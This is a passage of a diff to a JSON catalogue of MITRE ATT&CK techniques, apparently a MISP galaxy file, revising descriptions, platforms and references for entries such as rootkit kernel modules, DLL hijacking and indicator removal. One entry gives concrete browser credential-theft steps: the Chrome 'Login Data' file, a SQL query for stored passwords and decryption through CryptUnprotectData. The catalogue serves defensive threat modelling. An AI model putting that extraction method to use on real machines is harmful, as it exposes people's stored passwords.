Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ", + "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.", "meta": { "external_id": "T1499.004", "kill_chain": [ @@ -4434,7 +4149,7 @@ "value": "Application or System Exploitation - T1499.004" }, { - "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", + "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)", "meta": { "external_id": "T1547.006", "kill_chain": [ @@ -4445,8 +4160,7 @@ "Command: Command Execution", "File: File Creation", "File: File Modification", - "Kernel: Kernel Module Load", - "Process: Process Creation" + "Kernel: Kernel Module Load" ], "mitre_platforms": [ "macOS", @@ -4466,7 +4180,6 @@ "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/", "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/", "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", - "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web", "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", @@ -4495,7 +4208,7 @@ "mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", - "Service: Service Modification", + "Service: Service Metadata", "Windows Registry: Windows Registry Key Modification" ], "mitre_platforms": [ @@ -4650,7 +4363,7 @@ "value": "Data Transfer Size Limits - T1030" }, { - "description": "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", + "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", "meta": { "external_id": "T1005", "kill_chain": [ @@ -4659,27 +4372,22 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "Process: OS API Execution", - "Process: Process Creation", "Script: Script Execution" ], "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1005", - "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://attack.mitre.org/techniques/T1005" ] }, "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "value": "Data from Local System - T1005" }, { - "description": "Adversaries may delete or modify artifacts generated on a host system to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "meta": { "external_id": "CAPEC-93", "kill_chain": [ @@ -4701,8 +4409,7 @@ "Linux", "macOS", "Windows", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1070", @@ -4740,7 +4447,7 @@ "value": "Exfiltration Over C2 Channel - T1041" }, { - "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", "meta": { "external_id": "T1210", "kill_chain": [ @@ -4767,7 +4474,7 @@ "value": "Exploitation of Remote Services - T1210" }, { - "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", + "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", "meta": { "external_id": "CAPEC-309", "kill_chain": [ @@ -4782,14 +4489,11 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1016", - "https://capec.mitre.org/data/definitions/309.html", - "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://capec.mitre.org/data/definitions/309.html" ] }, "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", @@ -4826,10 +4530,6 @@ "kill_chain": [ "mitre-attack:execution" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: Process Creation" - ], "mitre_platforms": [ "Linux", "Windows", @@ -4846,12 +4546,6 @@ "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "meta": { "external_id": "CAPEC-556", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/bb166549.aspx", "https://attack.mitre.org/techniques/T1042", @@ -4874,19 +4568,17 @@ "value": "Change Default File Association - T1042" }, { - "description": "Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions. \n\nOn Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS's security architecture generally restricts the ability to perform any type of [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) without use of escalated privileges. ", + "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.", "meta": { - "external_id": "STA-41", + "external_id": "T1420", "kill_chain": [ "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "Android", - "iOS" + "Android" ], "refs": [ - "https://attack.mitre.org/techniques/T1420", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html" + "https://attack.mitre.org/techniques/T1420" ] }, "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", @@ -5043,14 +4735,6 @@ "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "meta": { "external_id": "T1503", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1503", "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", @@ -5073,26 +4757,7 @@ "value": "Credentials from Web Browsers - T1503" }, { - "description": "Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.", - "meta": { - "external_id": "APP-43", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "iOS", - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1630", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" - ] - }, - "uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "value": "Indicator Removal on Host - T1630" - }, - { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A)", + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).", "meta": { "external_id": "CAPEC-497", "kill_chain": [ @@ -5106,15 +4771,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1083", "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "https://capec.mitre.org/data/definitions/127.html", - "https://capec.mitre.org/data/definitions/497.html", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://capec.mitre.org/data/definitions/497.html" ] }, "uuid": "7bc57495-ea59-4380-be31-a64af124ef18", @@ -5124,14 +4787,6 @@ "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "meta": { "external_id": "CAPEC-471", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-US/library/ms682586", "http://msdn.microsoft.com/en-US/library/ms682600", @@ -5177,42 +4832,22 @@ "https://attack.mitre.org/techniques/T1440" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b", "value": "Detect App Analysis Environment - T1440" }, - { - "description": "Adversaries may exploit software vulnerabilities in order to to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. \n\nWhen initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user- level permission to root permissions depending on the component that is vulnerable. ", - "meta": { - "external_id": "APP-26", - "kill_chain": [ - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1404", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" - ] - }, - "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "value": "Exploitation for Privilege Escalation - T1404" - }, { "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", "meta": { "external_id": "CAPEC-17", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], "refs": [ "http://seclists.org/fulldisclosure/2015/Dec/34", "https://attack.mitre.org/techniques/T1044", @@ -5233,7 +4868,7 @@ "value": "File System Permissions Weakness - T1044" }, { - "description": "Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n \nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Microsoft MalLockerB) ", + "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)", "meta": { "external_id": "APP-21", "kill_chain": [ @@ -5244,9 +4879,12 @@ "iOS" ], "refs": [ + "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", + "http://ieeexplore.ieee.org/document/6234407", + "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", + "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao", "https://attack.mitre.org/techniques/T1406", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", - "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html" ] }, "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", @@ -5304,7 +4942,28 @@ "value": "Exfiltration Over Alternative Protocol - T1048" }, { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A)", + "description": "Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)\n\nThis technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).", + "meta": { + "external_id": "AUT-0", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1409", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html", + "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" + ] + }, + "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "value": "Access Stored Application Data - T1409" + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", "meta": { "external_id": "T1049", "kill_chain": [ @@ -5319,15 +4978,13 @@ "Windows", "IaaS", "Linux", - "macOS", - "Network" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1049", "https://cloud.google.com/vpc/docs/vpc", "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html", - "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview" ] }, "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", @@ -5353,8 +5010,7 @@ "Office 365", "SaaS", "Google Workspace", - "IaaS", - "Containers" + "IaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1550", @@ -5370,13 +5026,6 @@ "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)", "meta": { "external_id": "CAPEC-478", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1058", "https://capec.mitre.org/data/definitions/478.html", @@ -5409,7 +5058,6 @@ "Command: Command Execution", "Module: Module Load", "Process: Process Creation", - "Process: Process Metadata", "Script: Script Execution" ], "mitre_platforms": [ @@ -5452,14 +5100,6 @@ "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the 